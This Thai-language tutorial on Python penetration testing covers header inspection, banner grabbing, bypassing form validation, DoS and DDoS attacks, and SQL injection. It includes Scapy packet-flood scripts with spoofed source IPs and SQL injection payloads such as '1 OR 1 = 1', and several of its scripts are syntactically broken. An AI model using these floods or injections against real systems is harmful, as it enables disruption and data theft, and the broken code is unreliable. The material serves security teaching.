ส่วนหัว HTTP พบได้ทั้งในคำขอและการตอบกลับจากเว็บเซิร์ฟเวอร์ พวกเขายังมีข้อมูลที่สำคัญมากเกี่ยวกับเซิร์ฟเวอร์ นั่นคือเหตุผลที่ผู้ทดสอบการเจาะมักสนใจในการแยกวิเคราะห์ข้อมูลผ่านส่วนหัว HTTP ต่อไปนี้เป็นสคริปต์ Python สำหรับรับข้อมูลเกี่ยวกับส่วนหัวของเว็บเซิร์ฟเวอร์ -

ในการเริ่มต้นให้เรานำเข้าไลบรารีคำขอ -

import requests

เราจำเป็นต้องส่งคำขอ GET ไปยังเว็บเซิร์ฟเวอร์ บรรทัดของโค้ดต่อไปนี้สร้างคำขอ GET อย่างง่ายผ่านไลบรารีคำขอ

request = requests.get('enter the URL')

ต่อไปเราจะสร้างรายการส่วนหัวที่คุณต้องการข้อมูล

header_list = [
   'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]

ต่อไปคือการลองและยกเว้นบล็อก

for header in header_list:
   try:
      result = request.header_list[header]
      print ('%s: %s' % (header, result))
   except Exception as err:
      print ('%s: No Details Found' % header)

หลังจากเรียกใช้สคริปต์ข้างต้นสำหรับเว็บเซิร์ฟเวอร์หนึ่ง ๆ เราจะได้รับข้อมูลเกี่ยวกับส่วนหัวที่ให้ไว้ในรายการส่วนหัว หากไม่มีข้อมูลสำหรับส่วนหัวเฉพาะก็จะขึ้นข้อความว่า 'ไม่พบรายละเอียด' คุณยังสามารถเรียนรู้เพิ่มเติมเกี่ยวกับฟิลด์ HTTP_header ได้จากลิงค์ -https://www.tutorialspoint.com/http/http_header_fields.htm.

การทดสอบการกำหนดค่าเว็บเซิร์ฟเวอร์ที่ไม่ปลอดภัย

เราสามารถใช้ข้อมูลส่วนหัว HTTP เพื่อทดสอบการกำหนดค่าเว็บเซิร์ฟเวอร์ที่ไม่ปลอดภัย ในสคริปต์ Python ต่อไปนี้เราจะใช้ try / except block เพื่อทดสอบส่วนหัวของเว็บเซิร์ฟเวอร์ที่ไม่ปลอดภัยสำหรับจำนวน URL ที่บันทึกในชื่อไฟล์ข้อความwebsites.txt -

import requests
urls = open("websites.txt", "r")

for url in urls:
   url = url.strip()
   req = requests.get(url)
   print (url, 'report:')
   
   try:
      protection_xss = req.headers['X-XSS-Protection']
      if protection_xss != '1; mode = block':
      print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
   except:
      print ('X-XSS-Protection not set, it may be possible')
      
   try:
      options_content_type = req.headers['X-Content-Type-Options']
      if options_content_type != 'nosniff':
      print ('X-Content-Type-Options not set properly:', options_content_type)
   except:
      print ('X-Content-Type-Options not set')
      
   try:
      transport_security = req.headers['Strict-Transport-Security']
   except:
      print ('HSTS header not set properly, Man in the middle attacks is possible')
      
   try:
      content_security = req.headers['Content-Security-Policy']
      print ('Content-Security-Policy set:', content_security)
   except:
      print ('Content-Security-Policy missing')

รอยเท้าของโปรแกรมประยุกต์บนเว็บ

ในส่วนก่อนหน้านี้เราได้กล่าวถึงการวางรากฐานของเว็บเซิร์ฟเวอร์ ในทำนองเดียวกันการวางรากฐานของเว็บแอปพลิเคชันก็ถือว่ามีความสำคัญเช่นกันจากมุมมองของผู้ทดสอบการเจาะ

ในส่วนต่อไปเราจะเรียนรู้เกี่ยวกับวิธีการต่างๆในการวางรากฐานของเว็บแอปพลิเคชัน

วิธีการสร้างรอยเท้าของโปรแกรมประยุกต์บนเว็บ

โปรแกรมประยุกต์บนเว็บคือโปรแกรมไคลเอนต์เซิร์ฟเวอร์ซึ่งเรียกใช้โดยไคลเอนต์ในเว็บเซิร์ฟเวอร์ นี่เป็นอีกหนึ่งประเด็นสำคัญที่ผู้ดูแลต้องให้ความสำคัญในขณะที่ทำการทดสอบการเจาะระบบของเว็บแอปพลิเคชัน

ตอนนี้ให้เราพูดถึงวิธีการต่างๆที่ใช้ใน Python ซึ่งสามารถใช้สำหรับการวางรากฐานของเว็บแอปพลิเคชัน -

การรวบรวมข้อมูลโดยใช้โปรแกรมแยกวิเคราะห์ BeautifulSoup

สมมติว่าเราต้องการรวบรวมไฮเปอร์ลิงก์ทั้งหมดจากหน้าเว็บ เราสามารถใช้โปรแกรมแยกวิเคราะห์ชื่อ BeautifulSoup ตัวแยกวิเคราะห์เป็นไลบรารี Python สำหรับดึงข้อมูลออกจากไฟล์ HTML และ XML สามารถใช้กับurlib เนื่องจากต้องการอินพุต (เอกสารหรือ url) เพื่อสร้างออบเจ็กต์ซุปและไม่สามารถดึงหน้าเว็บด้วยตัวเอง

ในการเริ่มต้นให้เรานำเข้าแพ็คเกจที่จำเป็น เราจะนำเข้า urlib และBeautifulSoup. อย่าลืมก่อนที่จะนำเข้า BeautifulSoup เราจำเป็นต้องติดตั้ง

import urllib
from bs4 import BeautifulSoup

สคริปต์ Python ที่ระบุด้านล่างจะรวบรวมชื่อของหน้าเว็บและไฮเปอร์ลิงก์ -

ตอนนี้เราต้องการตัวแปรซึ่งสามารถจัดเก็บ URL ของเว็บไซต์ได้ ในที่นี้เราจะใช้ตัวแปรชื่อ 'url' เราจะใช้ไฟล์page.read() ฟังก์ชันที่สามารถจัดเก็บหน้าเว็บและกำหนดหน้าเว็บให้กับตัวแปร html_page.

url = raw_input("Enter the URL ")
page = urllib.urlopen(url)
html_page = page.read()

html_page จะถูกกำหนดให้เป็นอินพุตเพื่อสร้างวัตถุซุป

soup_object = BeautifulSoup(html_page)

สองบรรทัดต่อจากนี้จะพิมพ์ชื่อหัวเรื่องพร้อมแท็กและไม่มีแท็กตามลำดับ

print soup_object.title
print soup_object.title.text

บรรทัดของโค้ดที่แสดงด้านล่างจะบันทึกไฮเปอร์ลิงก์ทั้งหมด

for link in soup_object.find_all('a'):
   print(link.get('href'))

การคว้าแบนเนอร์

แบนเนอร์เปรียบเสมือนข้อความตัวอักษรที่มีข้อมูลเกี่ยวกับเซิร์ฟเวอร์และการดึงแบนเนอร์คือกระบวนการดึงข้อมูลที่ได้รับจากแบนเนอร์เอง ตอนนี้เราต้องรู้ว่าแบนเนอร์นี้สร้างขึ้นได้อย่างไร มันถูกสร้างขึ้นโดยส่วนหัวของแพ็กเก็ตที่ถูกส่ง และในขณะที่ไคลเอนต์พยายามเชื่อมต่อกับพอร์ตเซิร์ฟเวอร์จะตอบสนองเนื่องจากส่วนหัวมีข้อมูลเกี่ยวกับเซิร์ฟเวอร์

สคริปต์ Python ต่อไปนี้ช่วยดึงแบนเนอร์โดยใช้การเขียนโปรแกรมซ็อกเก็ต -

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

targethost = str(raw_input("Enter the host name: "))
targetport = int(raw_input("Enter Port: "))
s.connect((targethost,targetport))

def garb(s:)
   try:
      s.send('GET HTTP/1.1 \r\n')
      ret = sock.recv(1024)
      print ('[+]' + str(ret))
      return
   except Exception as error:
      print ('[-]' Not information grabbed:' + str(error))
      return

หลังจากเรียกใช้สคริปต์ข้างต้นเราจะได้รับข้อมูลประเภทเดียวกันเกี่ยวกับส่วนหัวที่เราได้รับจากสคริปต์ Python ของการกำหนดส่วนหัว HTTP ในส่วนก่อนหน้า

ในบทนี้เราจะเรียนรู้ว่าการตรวจสอบความถูกต้องช่วยใน Python Pentesting อย่างไร

เป้าหมายหลักของการตรวจสอบความถูกต้องคือการทดสอบและตรวจสอบให้แน่ใจว่าผู้ใช้ได้ให้ข้อมูลที่จำเป็นและมีรูปแบบที่ถูกต้องซึ่งจำเป็นในการดำเนินการให้สำเร็จ

การตรวจสอบความถูกต้องมีสองประเภทที่แตกต่างกัน -

• การตรวจสอบความถูกต้องฝั่งไคลเอ็นต์ (เว็บเบราว์เซอร์)
• การตรวจสอบฝั่งเซิร์ฟเวอร์

การตรวจสอบฝั่งเซิร์ฟเวอร์และการตรวจสอบฝั่งไคลเอ็นต์

การตรวจสอบอินพุตของผู้ใช้ที่เกิดขึ้นบนฝั่งเซิร์ฟเวอร์ในระหว่างเซสชันการโพสต์แบ็คถูกเรียก server-side validation. ภาษาเช่น PHP และ ASP.Net ใช้การตรวจสอบความถูกต้องทางฝั่งเซิร์ฟเวอร์ เมื่อกระบวนการตรวจสอบความถูกต้องในฝั่งเซิร์ฟเวอร์สิ้นสุดลงคำติชมจะถูกส่งกลับไปยังไคลเอนต์โดยการสร้างหน้าเว็บใหม่และมีไดนามิก ด้วยความช่วยเหลือของการตรวจสอบความถูกต้องทางฝั่งเซิร์ฟเวอร์เราจะได้รับการป้องกันจากผู้ใช้ที่ประสงค์ร้าย

ในทางกลับกันการตรวจสอบอินพุตของผู้ใช้ที่เกิดขึ้นบนฝั่งไคลเอ็นต์เรียกว่าการตรวจสอบความถูกต้องฝั่งไคลเอ็นต์ ภาษาสคริปต์เช่น JavaScript และ VBScript ใช้สำหรับclient-side validation. ในการตรวจสอบประเภทนี้การตรวจสอบความถูกต้องของผู้ใช้ทั้งหมดจะกระทำในเบราว์เซอร์ของผู้ใช้เท่านั้น มันไม่ปลอดภัยเหมือนการตรวจสอบฝั่งเซิร์ฟเวอร์เนื่องจากแฮ็กเกอร์สามารถข้ามภาษาสคริปต์ฝั่งไคลเอ็นต์ของเราได้อย่างง่ายดายและส่งข้อมูลที่เป็นอันตรายไปยังเซิร์ฟเวอร์

Tempering Client-side Parameter: Validation Bypass

การส่งผ่านพารามิเตอร์ในโปรโตคอล HTTP สามารถทำได้โดยใช้วิธีการ POST และ GET GET ใช้เพื่อขอข้อมูลจากทรัพยากรที่ระบุและ POST ใช้เพื่อส่งข้อมูลไปยังเซิร์ฟเวอร์เพื่อสร้างหรืออัปเดตทรัพยากร ความแตกต่างที่สำคัญอย่างหนึ่งระหว่างวิธีการทั้งสองนี้คือหากเว็บไซต์ใช้เมธอด GET พารามิเตอร์การส่งผ่านจะแสดงใน URL และเราสามารถเปลี่ยนพารามิเตอร์นี้และส่งต่อไปยังเว็บเซิร์ฟเวอร์ ตัวอย่างเช่นสตริงการสืบค้น (คู่ชื่อ / ค่า) ถูกส่งไปใน URL ของคำขอ GET:/test/hello_form.php?name1 = value1&name2 = value2. ในทางกลับกันพารามิเตอร์จะไม่แสดงขณะใช้วิธี POST ข้อมูลที่ส่งไปยังเซิร์ฟเวอร์ด้วย POST จะถูกเก็บไว้ในเนื้อหาการร้องขอของคำร้องขอ HTTP ตัวอย่างเช่น POST/test/hello_form.php HTTP/1.1 Host: ‘URL’ name1 = value1&name2 = value2.

โมดูล Python สำหรับการตรวจสอบ Bypass

โมดูล Python ที่เราจะใช้คือ mechanize. เป็นเว็บเบราว์เซอร์ Python ซึ่งให้ความสะดวกในการรับเว็บฟอร์มในหน้าเว็บและอำนวยความสะดวกในการส่งค่าอินพุตด้วย ด้วยความช่วยเหลือของเครื่องจักรเราสามารถข้ามการตรวจสอบความถูกต้องและพารามิเตอร์ฝั่งไคลเอ็นต์อารมณ์ได้ อย่างไรก็ตามก่อนที่จะนำเข้าในสคริปต์ Python ของเราเราจำเป็นต้องติดตั้งโดยดำเนินการคำสั่งต่อไปนี้ -

pip install mechanize

ตัวอย่าง

ต่อไปนี้เป็นสคริปต์ Python ซึ่งใช้กลไกเพื่อข้ามการตรวจสอบความถูกต้องของเว็บฟอร์มโดยใช้วิธี POST เพื่อส่งผ่านพารามิเตอร์ แบบฟอร์มเว็บได้จากลิงค์https://www.tutorialspoint.com/php/php_validation_example.htm และสามารถใช้ในเว็บไซต์จำลองใดก็ได้ที่คุณเลือก

เริ่มต้นด้วยให้เรานำเข้าเบราว์เซอร์กลไก -

import mechanize

ตอนนี้เราจะสร้างวัตถุชื่อ brwsr ของเบราว์เซอร์กลไก -

brwsr = mechanize.Browser()

โค้ดบรรทัดถัดไปแสดงว่าตัวแทนผู้ใช้ไม่ใช่หุ่นยนต์

brwsr.set_handle_robots( False )

ตอนนี้เราจำเป็นต้องระบุ url ของเว็บไซต์จำลองของเราซึ่งมีแบบฟอร์มเว็บที่เราต้องการเพื่อหลีกเลี่ยงการตรวจสอบความถูกต้อง

url = input("Enter URL ")

ตอนนี้บรรทัดต่อไปนี้จะตั้งค่าพาเรนต์บางส่วนเป็นจริง

brwsr.set_handle_equiv(True)
brwsr.set_handle_gzip(True)
brwsr.set_handle_redirect(True)
brwsr.set_handle_referer(True)

จากนั้นจะเปิดหน้าเว็บและพิมพ์แบบฟอร์มเว็บในหน้านั้น

brwsr.open(url)
for form in brwsr.forms():
   print form

โค้ดบรรทัดถัดไปจะข้ามการตรวจสอบความถูกต้องในฟิลด์ที่กำหนด

brwsr.select_form(nr = 0)
brwsr.form['name'] = ''
brwsr.form['gender'] = ''
brwsr.submit()

ส่วนสุดท้ายของสคริปต์สามารถเปลี่ยนแปลงได้ตามช่องของเว็บฟอร์มที่เราต้องการข้ามการตรวจสอบความถูกต้อง ที่นี่ในสคริปต์ด้านบนเราได้นำสองฟิลด์ -‘name’ และ ‘gender’ ซึ่งไม่สามารถเว้นว่างได้ (คุณสามารถดูได้ในการเข้ารหัสของเว็บฟอร์ม) แต่สคริปต์นี้จะข้ามการตรวจสอบความถูกต้องนั้น

ในบทนี้เราจะเรียนรู้เกี่ยวกับการโจมตี DoS และ DdoS และทำความเข้าใจวิธีการตรวจจับ

ด้วยความเฟื่องฟูในอุตสาหกรรมอีคอมเมิร์ซตอนนี้เว็บเซิร์ฟเวอร์มีแนวโน้มที่จะถูกโจมตีและเป็นเป้าหมายที่ง่ายสำหรับแฮกเกอร์ โดยปกติแฮกเกอร์จะพยายามโจมตีสองประเภท -

• DoS (การปฏิเสธการให้บริการ)
• DDoS (การปฏิเสธการให้บริการแบบกระจาย)

DoS (Denial-of-Service) โจมตี

การโจมตี Denial of Service (DoS) เป็นความพยายามของแฮกเกอร์เพื่อทำให้ทรัพยากรเครือข่ายไม่สามารถใช้งานได้ โดยปกติจะขัดขวางโฮสต์ชั่วคราวหรือไม่สิ้นสุดซึ่งเชื่อมต่อกับอินเทอร์เน็ต โดยทั่วไปการโจมตีเหล่านี้จะกำหนดเป้าหมายบริการที่โฮสต์บนเว็บเซิร์ฟเวอร์ที่สำคัญเช่นธนาคารเกตเวย์การชำระเงินด้วยบัตรเครดิต

อาการของการโจมตี DoS

• ประสิทธิภาพของเครือข่ายช้าผิดปกติ

• ไม่มีเว็บไซต์ใดเว็บไซต์หนึ่ง

• ไม่สามารถเข้าถึงเว็บไซต์ใด ๆ

• จำนวนอีเมลขยะที่ได้รับเพิ่มขึ้นอย่างมาก

• การปฏิเสธการเข้าถึงเว็บหรือบริการอินเทอร์เน็ตในระยะยาว

• ความไม่พร้อมใช้งานของเว็บไซต์ใดเว็บไซต์หนึ่ง

ประเภทของ DoS Attack และการใช้งาน Python

การโจมตี DoS สามารถดำเนินการได้ที่ลิงค์ข้อมูลเครือข่ายหรือชั้นแอปพลิเคชัน ตอนนี้ให้เราเรียนรู้เกี่ยวกับการโจมตี DoS ประเภทต่างๆ &; การนำไปใช้ใน Python -

พอร์ตเดียว IP เดียว

แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP เดียวและจากหมายเลขพอร์ตเดียว เป็นการโจมตีระดับต่ำซึ่งใช้ในการตรวจสอบพฤติกรรมของเว็บเซิร์ฟเวอร์ การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ python ต่อไปนี้จะช่วยใช้การโจมตี DoS แบบ Single Port Single IP -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

เมื่อดำเนินการสคริปต์ข้างต้นจะขอสามสิ่งต่อไปนี้ -

• ที่อยู่ IP ของแหล่งที่มาและเป้าหมาย

• ที่อยู่ IP ของหมายเลขพอร์ตต้นทาง

• จากนั้นจะส่งแพ็กเก็ตจำนวนมากไปยังเซิร์ฟเวอร์เพื่อตรวจสอบพฤติกรรมของมัน

IP เดียวหลายพอร์ต

แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP เดียวและจากหลายพอร์ต การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ python ต่อไปนี้จะช่วยใช้การโจมตี DoS หลายพอร์ตแบบ IP เดียว -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

พอร์ตเดียวหลาย IP

แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP หลายตัวและจากหมายเลขพอร์ตเดียว การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ Python ต่อไปนี้ใช้การโจมตี DoS หลายพอร์ตแบบ IP เดียว -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

หลาย IP หลายพอร์ต

แพ็กเก็ตจำนวนมากถูกส่งไปยังเว็บเซิร์ฟเวอร์โดยใช้ IP หลายตัวและจากหลายพอร์ต การใช้งานใน Python สามารถทำได้ด้วยความช่วยเหลือของ Scapy สคริปต์ Python ต่อไปนี้ช่วยใช้การโจมตี DoS หลายพอร์ตหลาย IPs -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

การโจมตี DDoS (การปฏิเสธการให้บริการแบบกระจาย)

การโจมตีแบบปฏิเสธการให้บริการแบบกระจาย (DDoS) คือความพยายามที่จะทำให้บริการออนไลน์หรือเว็บไซต์ไม่สามารถใช้งานได้โดยการโหลดมากเกินไปพร้อมกับปริมาณการใช้งานจำนวนมากที่เกิดจากหลายแหล่ง

ซึ่งแตกต่างจากการโจมตี Denial of Service (DoS) ซึ่งคอมพิวเตอร์เครื่องหนึ่งและการเชื่อมต่ออินเทอร์เน็ตหนึ่งเครื่องจะใช้เพื่อทำให้ทรัพยากรเป้าหมายเต็มไปด้วยแพ็กเก็ตการโจมตี DDoS ใช้คอมพิวเตอร์จำนวนมากและการเชื่อมต่ออินเทอร์เน็ตจำนวนมากซึ่งมักจะกระจายไปทั่วโลกในสิ่งที่เรียกว่าบ็อตเน็ต . การโจมตี DDoS เชิงปริมาตรขนาดใหญ่สามารถสร้างการรับส่งข้อมูลที่วัดได้ในหน่วยสิบกิกะบิต (และแม้กระทั่งหลายร้อยกิกะบิต) ต่อวินาที สามารถอ่านรายละเอียดได้ที่https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

การตรวจจับ DDoS โดยใช้ Python

การโจมตี DDoS ที่จริงนั้นตรวจจับได้ยากเล็กน้อยเนื่องจากคุณไม่ทราบว่าโฮสต์ที่ส่งการเข้าชมนั้นเป็นของปลอมหรือของจริง สคริปต์ Python ที่ระบุด้านล่างจะช่วยตรวจจับการโจมตี DDoS

ในการเริ่มต้นให้เรานำเข้าไลบรารีที่จำเป็น -

import socket
import struct

from datetime import datetime

ตอนนี้เราจะสร้างซ็อกเก็ตตามที่เราได้สร้างไว้ในส่วนก่อนหน้านี้ด้วย

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

เราจะใช้พจนานุกรมเปล่า -

dict = {}

โค้ดบรรทัดต่อไปนี้จะเปิดไฟล์ข้อความโดยมีรายละเอียดของการโจมตี DDoS ในโหมดผนวก

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

ด้วยความช่วยเหลือของบรรทัดต่อไปนี้ของโค้ดเวลาปัจจุบันจะถูกเขียนเมื่อใดก็ตามที่โปรแกรมทำงาน

file_txt.writelines(t1)
file_txt.writelines("\n")

ตอนนี้เราต้องถือว่า Hit จาก IP หนึ่ง ๆ ในที่นี้เรากำลังสมมติว่าหาก IP ใดมีการโจมตีมากกว่า 15 ครั้งก็จะเป็นการโจมตี

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

โค้ดบรรทัดต่อไปนี้จะตรวจสอบว่ามี IP อยู่ในพจนานุกรมหรือไม่ ถ้ามีอยู่มันจะเพิ่มขึ้น 1

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

โค้ดบรรทัดถัดไปใช้เพื่อลบความซ้ำซ้อน

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

หลังจากเรียกใช้สคริปต์ข้างต้นเราจะได้ผลลัพธ์เป็นไฟล์ข้อความ ตามสคริปต์หาก IP เข้าชมมากกว่า 15 ครั้งจะมีการพิมพ์เมื่อตรวจพบการโจมตี DDoS พร้อมกับที่อยู่ IP นั้น

SQL injection คือชุดของคำสั่ง SQL ที่อยู่ในสตริง URL หรือในโครงสร้างข้อมูลเพื่อดึงการตอบสนองที่เราต้องการจากฐานข้อมูลที่เชื่อมต่อกับเว็บแอ็พพลิเคชัน โดยทั่วไปการโจมตีประเภทนี้จะเกิดขึ้นบนหน้าเว็บที่พัฒนาโดยใช้ PHP หรือ ASP.NET

การโจมตีด้วยการฉีด SQL สามารถทำได้ด้วยความตั้งใจดังต่อไปนี้ -

• เพื่อแก้ไขเนื้อหาของฐานข้อมูล

• เพื่อแก้ไขเนื้อหาของฐานข้อมูล

• เพื่อดำเนินการค้นหาต่าง ๆ ที่แอปพลิเคชันไม่อนุญาต

การโจมตีประเภทนี้จะทำงานเมื่อแอปพลิเคชันตรวจสอบอินพุตไม่ถูกต้องก่อนที่จะส่งต่อไปยังคำสั่ง SQL โดยปกติการแทรกจะวางไว้ในแถบที่อยู่ช่องค้นหาหรือช่องข้อมูล

วิธีที่ง่ายที่สุดในการตรวจสอบว่าเว็บแอปพลิเคชันเสี่ยงต่อการโจมตีด้วยการแทรก SQL หรือไม่โดยใช้อักขระ "" "ในสตริงและดูว่าคุณได้รับข้อผิดพลาดหรือไม่

ประเภทของ SQLi Attack

ในส่วนนี้เราจะเรียนรู้เกี่ยวกับการโจมตี SQLi ประเภทต่างๆ การโจมตีสามารถแบ่งออกเป็นสองประเภทดังต่อไปนี้ -

• การแทรก SQL ในแบนด์ (SQLi แบบง่าย)

• Inferential SQL injection (Blind SQLi)

การแทรก SQL ในแบนด์ (SQLi แบบง่าย)

เป็นการฉีด SQL ที่พบบ่อยที่สุด การแทรก SQL ประเภทนี้ส่วนใหญ่เกิดขึ้นเมื่อผู้โจมตีสามารถใช้ช่องทางการสื่อสารเดียวกันเพื่อเปิดการโจมตีและผลลัพธ์ที่รวบรวมได้ การแทรก SQL ในวงยังแบ่งออกเป็นสองประเภท -

• Error-based SQL injection - เทคนิคการฉีด SQL ตามข้อผิดพลาดอาศัยข้อความแสดงข้อผิดพลาดที่เซิร์ฟเวอร์ฐานข้อมูลส่งมาเพื่อรับข้อมูลเกี่ยวกับโครงสร้างของฐานข้อมูล

• Union-based SQL injection - เป็นอีกหนึ่งเทคนิคการแทรก SQL แบบอินแบนด์ที่ใช้ตัวดำเนินการ UNION SQL เพื่อรวมผลลัพธ์ของคำสั่ง SELECT ตั้งแต่สองคำสั่งขึ้นไปเป็นผลลัพธ์เดียวซึ่งจะส่งคืนเป็นส่วนหนึ่งของการตอบสนอง HTTP

Inferential SQL injection (Blind SQLi)

ในการโจมตีด้วยการฉีด SQL แบบนี้ผู้โจมตีไม่สามารถเห็นผลลัพธ์ของการโจมตีในวงได้เนื่องจากไม่มีการถ่ายโอนข้อมูลผ่านเว็บแอปพลิเคชัน นี่คือเหตุผลที่เรียกว่า Blind SQLi Inferential SQL injection เป็นอีกสองประเภท -

• Boolean-based blind SQLi - เทคนิคประเภทนี้อาศัยการส่งแบบสอบถาม SQL ไปยังฐานข้อมูลซึ่งบังคับให้แอปพลิเคชันส่งคืนผลลัพธ์ที่แตกต่างกันขึ้นอยู่กับว่าแบบสอบถามส่งคืนผลลัพธ์ TRUE หรือ FALSE

• Time-based blind SQLi- เทคนิคประเภทนี้อาศัยการส่งแบบสอบถาม SQL ไปยังฐานข้อมูลซึ่งบังคับให้ฐานข้อมูลรอตามระยะเวลาที่กำหนด (เป็นวินาที) ก่อนที่จะตอบสนอง เวลาตอบสนองจะระบุให้ผู้โจมตีทราบว่าผลลัพธ์ของการสืบค้นเป็น TRUE หรือ FALSE

ตัวอย่าง

SQLi ทุกประเภทสามารถใช้งานได้โดยการจัดการข้อมูลอินพุตไปยังแอปพลิเคชัน ในตัวอย่างต่อไปนี้เรากำลังเขียนสคริปต์ Python เพื่อฉีดเวกเตอร์การโจมตีไปยังแอปพลิเคชันและวิเคราะห์ผลลัพธ์เพื่อตรวจสอบความเป็นไปได้ของการโจมตี ที่นี่เราจะใช้โมดูล python ที่ชื่อmechanizeซึ่งให้ความสะดวกในการรับแบบฟอร์มเว็บในหน้าเว็บและอำนวยความสะดวกในการส่งค่าอินพุตด้วย เรายังใช้โมดูลนี้สำหรับการตรวจสอบฝั่งไคลเอ็นต์

สคริปต์ Python ต่อไปนี้ช่วยส่งแบบฟอร์มและวิเคราะห์การตอบสนองโดยใช้ mechanize -

ก่อนอื่นเราต้องนำเข้าไฟล์ mechanize โมดูล.

import mechanize

ตอนนี้ให้ระบุชื่อของ URL สำหรับการตอบกลับหลังจากส่งแบบฟอร์ม

url = input("Enter the full url")

โค้ดบรรทัดต่อไปนี้จะเปิด url

request = mechanize.Browser()
request.open(url)

ตอนนี้เราต้องเลือกแบบฟอร์ม

request.select_form(nr = 0)

ที่นี่เราจะตั้งชื่อคอลัมน์ 'id'

request["id"] = "1 OR 1 = 1"

ตอนนี้เราต้องส่งแบบฟอร์ม

response = request.submit()
content = response.read()
print content

สคริปต์ด้านบนจะพิมพ์คำตอบสำหรับคำขอ POST เราได้ส่งเวกเตอร์การโจมตีเพื่อทำลายคิวรี SQL และพิมพ์ข้อมูลทั้งหมดในตารางแทนที่จะเป็นแถวเดียว เวกเตอร์การโจมตีทั้งหมดจะถูกบันทึกไว้ในไฟล์ข้อความว่า vectors.txt ตอนนี้สคริปต์ Python ที่ระบุด้านล่างจะได้รับเวกเตอร์การโจมตีเหล่านั้นจากไฟล์และส่งไปยังเซิร์ฟเวอร์ทีละรายการ นอกจากนี้ยังจะบันทึกผลลัพธ์ลงในไฟล์

ในการเริ่มต้นให้เรานำเข้าโมดูลกลไก

import mechanize

ตอนนี้ให้ระบุชื่อของ URL สำหรับการตอบกลับหลังจากส่งแบบฟอร์ม

url = input("Enter the full url")
   attack_no = 1

เราจำเป็นต้องอ่านเวกเตอร์การโจมตีจากไฟล์

With open (‘vectors.txt’) as v:

ตอนนี้เราจะส่งคำขอพร้อมเวกเตอร์ arrack แต่ละตัว

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

ตอนนี้โค้ดบรรทัดต่อไปนี้จะเขียนการตอบสนองไปยังไฟล์เอาต์พุต

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

ด้วยการตรวจสอบและวิเคราะห์การตอบสนองเราสามารถระบุการโจมตีที่เป็นไปได้ ตัวอย่างเช่นหากมีการตอบสนองที่มีประโยคYou have an error in your SQL syntax หมายความว่าแบบฟอร์มอาจได้รับผลกระทบจากการฉีด SQL

